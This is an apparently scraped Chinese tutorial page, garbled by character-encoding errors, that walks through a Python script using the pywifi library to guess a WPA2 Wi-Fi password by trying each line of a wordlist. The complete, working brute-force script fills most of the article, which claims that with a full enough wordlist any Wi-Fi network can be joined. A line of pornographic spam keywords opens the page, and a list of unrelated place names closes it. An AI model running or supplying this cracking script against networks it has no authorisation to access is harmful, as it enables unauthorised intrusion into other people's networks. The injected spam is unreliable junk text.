最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

基于Python實(shí)現(xiàn)wifi連接小程序

 更新時間:2024年01月18日 08:37:49   作者:陳皮太  
這篇文章主要為大家詳細(xì)介紹了如何使用Python編程語言編寫一個簡單的連接Wi-Fi的程序,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下

有時候我們會忘記自己的Wi-Fi密碼,或者需要連接某個Wi-Fi網(wǎng)絡(luò)以滿足合法需求。本文將介紹如何使用Python編程語言編寫一個簡單的連接Wi-Fi的程序。

一、密碼本準(zhǔn)備

在進(jìn)行wifi猜測時,其實(shí)就是列出各種可能的密碼,用來嘗試去訪問目標(biāo)wifi,直到找出正確的密碼為止,是密碼破解的一種方案。怎么有效去猜測wifi密碼呢,或者說日常中你使用的密碼為什么會被別人猜到,這就涉及到社會工程學(xué),比如習(xí)慣使用“123456”、“8888888”等弱口令,使用手機(jī)號、生日、家庭住址相關(guān)聯(lián)作為密碼,那么就很容易被猜到,這里不過多介紹,理論上任何密碼都可以用這種方法來猜測連接,不過越復(fù)雜的密碼破解耗時也越長。

二、連接準(zhǔn)備工作

python環(huán)境安裝

訪問Python官網(wǎng),點(diǎn)擊downloads按鈕,在下拉框中選擇系統(tǒng)類型,選擇下載最新版本的Python,沒有版本要求的話,盡量使用最新版本前幾個版本,避免新版本的不穩(wěn)定。雙擊下載好的Python安裝包,勾選左下角"Add Python 3.7 to PATH"選項(xiàng),然后選擇"Install now"立刻安裝Python,默認(rèn)安裝或自定義安裝。打開命令窗口,使用“python --version”查驗(yàn)環(huán)境是否安裝成功。

下載安裝pywifi庫

pip install pywifi

以下對整個連接程序主要部分進(jìn)行講解,最后提供完整的連接程序,可以使用自己的wifi網(wǎng)絡(luò)進(jìn)行連接嘗試,密碼本先填寫幾個錯誤密碼,最后再寫入正確密碼,試驗(yàn)是否成功連接wifi,只要密碼本夠全,理論上可以連接所有wifi。注意一行表示一個可能性密碼。

創(chuàng)建一個無線對象,獲取無線網(wǎng)卡

#抓取網(wǎng)卡接口
wifi=pywifi.PyWiFi()
#獲取第一個無線網(wǎng)卡
ifaces=wifi.interfaces()[0]

創(chuàng)建WiFi連接文件

創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。

#創(chuàng)建WiFi連接文件
profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="WiFi名稱"
#網(wǎng)卡的開放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP

嘗試連接wifi

密碼本采用只讀的方式,一行一行讀取,后續(xù)用于嘗試連接wifi。

#讀取密碼本
def readPassword():
    print("開始破解:")
    #密碼本路徑
    path="wifi_pass.txt"
    #打開文件
    file=open(path,"r")
    while True:
        try:
            #一行一行讀取
            pad=file.readline()
            #嘗試連接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密碼已破解: ",pad)
                print("WiFi已自動連接?。。?)
                break
            else:
                #跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
                print("密碼破解中....密碼校對: ",pad)
        except:
            continue

三、完整程序代碼

# coding:utf-8
import pywifi
from pywifi import const
import time
  
#測試連接,返回鏈接結(jié)果
def wifiConnect(pwd):
    #抓取網(wǎng)卡接口
    wifi=pywifi.PyWiFi()
    #獲取第一個無線網(wǎng)卡
    ifaces=wifi.interfaces()[0]
    #斷開所有連接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #創(chuàng)建WiFi連接文件
        profile=pywifi.Profile()
        #要連接WiFi的名稱
        profile.ssid="****_Wi-Fi5"
        #網(wǎng)卡的開放狀態(tài)
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法為wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密單元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #調(diào)用密碼
        profile.key=pwd
        #刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        #設(shè)定新的連接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi連接時間
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接") 
  
#讀取密碼本
def readPassword():
    print("開始破解:")
    #密碼本路徑
    path="wifi_pass.txt"
    #打開文件
    file=open(path,"r")
    while True:
        try:
            #一行一行讀取
            pad=file.readline()
            #嘗試連接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密碼已破解: ",pad)
                print("WiFi已自動連接?。?!")
                break
            else:
                #跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
                print("密碼破解中....密碼校對: ",pad)
        except:
            continue
readPassword()

運(yùn)行結(jié)果

到此這篇關(guān)于基于Python實(shí)現(xiàn)wifi連接小程序的文章就介紹到這了,更多相關(guān)Python連接wifi內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 基于Python開發(fā)Windows屏幕控制工具

    基于Python開發(fā)Windows屏幕控制工具

    在數(shù)字化辦公時代,屏幕管理已成為提升工作效率和保護(hù)眼睛健康的重要環(huán)節(jié),本文將分享一個基于Python和PySide6開發(fā)的Windows屏幕控制工具,感興趣的可以了解下
    2025-06-06
  • Python不同格式打印九九乘法表示例

    Python不同格式打印九九乘法表示例

    大家好,本篇文章主要講的是Python不同格式打印九九乘法表示例,感興趣的同學(xué)趕快來看一看吧,對你有幫助的話記得收藏一下哦,方便下次瀏覽
    2021-12-12
  • Python?Django教程之實(shí)現(xiàn)新聞應(yīng)用程序

    Python?Django教程之實(shí)現(xiàn)新聞應(yīng)用程序

    Django是一個用Python編寫的高級框架,它允許我們創(chuàng)建服務(wù)器端Web應(yīng)用程序。在本文中,我們將了解如何使用Django創(chuàng)建新聞應(yīng)用程序,感興趣的可以嘗試一下
    2022-10-10
  • 何用Python實(shí)現(xiàn)一個 “系統(tǒng)聲音” 的實(shí)時律動掛件

    何用Python實(shí)現(xiàn)一個 “系統(tǒng)聲音” 的實(shí)時律動掛件

    這篇文章將給大家介紹了如何用 Python 實(shí)現(xiàn)一個 “系統(tǒng)聲音” 的實(shí)時律動掛件,采集后直接實(shí)時地在電腦上繪制波形動畫,主要是用來作為 FL Studio 播放時的一個桌面小掛件,文中有相關(guān)的代碼示例供大家參考,需要的朋友可以參考下
    2024-01-01
  • simple-pytest?框架使用教程

    simple-pytest?框架使用教程

    simple-pytest框架主要參考了httprunner的yaml數(shù)據(jù)驅(qū)動部分設(shè)計(jì)思路,是基于Pytest?+?Pytest-html+?Log?+?Yaml?+?Mysql?實(shí)現(xiàn)的簡易版接口自動化框架,這篇文章主要介紹了simple-pytest?框架使用指南,需要的朋友可以參考下
    2024-02-02
  • 利用Python寫個簡易版星空大戰(zhàn)游戲

    利用Python寫個簡易版星空大戰(zhàn)游戲

    通過小編觀察,大家好像對劃水摸魚是情有獨(dú)鐘啊。所以本文給大家?guī)砹艘粋€用Python編寫的簡單版的星空大戰(zhàn)小游戲,感興趣的小伙伴可以動手試一試
    2022-03-03
  • python字符串大小寫轉(zhuǎn)換的三種方法

    python字符串大小寫轉(zhuǎn)換的三種方法

    本文主要介紹了python字符串大小寫轉(zhuǎn)換的三種方法,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-02-02
  • python正則表達(dá)式match和search用法實(shí)例

    python正則表達(dá)式match和search用法實(shí)例

    這篇文章主要介紹了python正則表達(dá)式match和search用法,實(shí)例分析了正則表達(dá)式中match和search的功能、定義及相關(guān)使用技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2015-03-03
  • Python異步并發(fā)控制asyncio.gather 與 Semaphore 協(xié)同設(shè)計(jì)解析

    Python異步并發(fā)控制asyncio.gather 與 Semaphore 協(xié)同設(shè)計(jì)解析

    本文詳細(xì)解析了在Python異步編程中使用asyncio.gather與asyncio.Semaphore進(jìn)行并發(fā)控制的重要性,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2026-04-04
  • python深度學(xué)習(xí)之多標(biāo)簽分類器及pytorch實(shí)現(xiàn)源碼

    python深度學(xué)習(xí)之多標(biāo)簽分類器及pytorch實(shí)現(xiàn)源碼

    這篇文章主要為大家介紹了python深度學(xué)習(xí)之多標(biāo)簽分類器的使用說明及pytorch的實(shí)現(xiàn)源碼,有需要的朋友可以借鑒參考下,希望能夠有所幫助
    2022-01-01

最新評論

南木林县| 惠安县| 剑川县| 澎湖县| 孝感市| 桐庐县| 太仆寺旗| 方城县| 凤阳县| 抚宁县| 灵璧县| 祁连县| 永寿县| 耒阳市| 防城港市| 沙坪坝区| 沛县| 双桥区| 延川县| 新龙县| 云阳县| 韩城市| 万源市| 永州市| 上栗县| 杨浦区| 张北县| 防城港市| 鱼台县| 湖州市| 卓尼县| 冷水江市| 青田县| 礼泉县| 新余市| 喀什市| 吴忠市| 淮北市| 衡阳市| 谢通门县| 木兰县|